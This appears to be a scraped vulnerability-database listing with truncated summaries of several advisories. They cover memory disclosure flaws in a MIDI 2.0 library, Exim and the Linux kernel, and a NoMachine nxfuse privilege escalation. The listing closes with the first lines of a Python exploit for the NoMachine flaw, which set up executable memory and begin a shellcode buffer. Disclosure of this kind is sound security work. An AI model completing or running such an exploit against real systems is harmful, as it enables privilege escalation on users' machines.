CVE-2026-13343 Uninitialised stack memory disclosure in the MIDI 2.0 UMP Stream responder

The UMP Stream responder library in lib/midi2/umpstreamresponder.c builds reply packets in a 16-byte struct midiump uint32t data4. The builders makeendpointinfo and makefunctionblockinfo populate only the first two words res.data0 and res.data1 and, before this fix, declared their result as an...

PT-2026-44997

Name of the Vulnerable Software and Affected Versions Exim versions 4.88 through 4.99.3 Description In certain proxy configurations where SUPPORT PROXY is enabled, the PROXY protocol parser mishandles short payloads before SMTP authentication. This leads to a pre-authentication information...

AZL-88851 CVE-2026-46132 affecting package kernel for versions less than 6.6.141.1-1

In the Linux kernel, the following vulnerability has been resolved: net: rtnetlink: zero iflavfbroadcast to avoid stack infoleak in rtnlfillvfinfo rtnlfillvfinfo declares struct iflavfbroadcast on the stack without initialisation: struct iflavfbroadcast vfbroadcast; The struct contains a single...

CVE-2018-6947

An uninitialised stack variable in the nxfuse component that is part of the Open Source DokanFS library shipped with NoMachine 6.0.662 and earlier allows a local low privileged user to gain elevation of privileges on Windows 7 32 and 64bit, and denial of service for Windows 8 and 10...

NoMachine nxfuse Privilege Escalation

from ctypes import from ctypes.wintypes import import struct import sys import os MEMCOMMIT = 0x00001000 MEMRESERVE = 0x00002000 PAGEEXECUTEREADWRITE = 0x00000040 GENERICREAD = 0x80000000 GENERICWRITE = 0x40000000 OPENEXISTING = 0x3 STATUSINVALIDHANDLE = 0xC0000008 shellcodelen = 90 s = aa s +=...